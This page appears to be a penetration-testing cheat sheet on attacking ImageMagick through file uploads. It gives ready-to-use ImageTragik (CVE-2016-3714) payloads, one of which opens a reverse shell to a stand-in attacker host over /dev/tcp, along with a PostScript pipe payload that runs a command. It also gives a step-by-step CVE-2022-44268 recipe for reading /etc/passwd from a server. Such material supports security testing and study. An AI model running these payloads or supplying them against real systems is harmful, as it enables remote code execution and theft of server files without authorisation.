Upload Insecure Files: CVE - ImageMagick
If the backend is using ImageMagick to resize/convert user images, you can try to exploit well-known vulnerabilities such as ImageTragik.
CVE-2016–3714 - ImageTragik
Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)
ImageTragik - example #1
push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-contextImageTragik - example #3
%!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%id) currentdevice putdeviceprops
The vulnerability can be triggered by using the convert command.
convert shellexec.jpeg whatever.gifCVE-2022-44268
CVE-2022-44268 is an information disclosure vulnerability identified in ImageMagick. An attacker can exploit this by crafting a malicious image file that, when processed by ImageMagick, can disclose information from the local filesystem of the server running the vulnerable version of the software.
Generate the payload
apt-get install pngcrush imagemagick exiftool exiv2 -y pngcrush -text a "profile" "/etc/passwd" exploit.pngTrigger the exploit by uploading the file. The backend might use something like
convert pngout.png pngconverted.pngDownload the converted picture and inspect its content with:
identify -verbose pngconverted.pngConvert the exfiltrated data:
python3 -c 'print(bytes.fromhex("HEX_FROM_FILE").decode("utf-8"))'
More payloads in the folder Picture ImageMagick/.
Comments
No comments yet.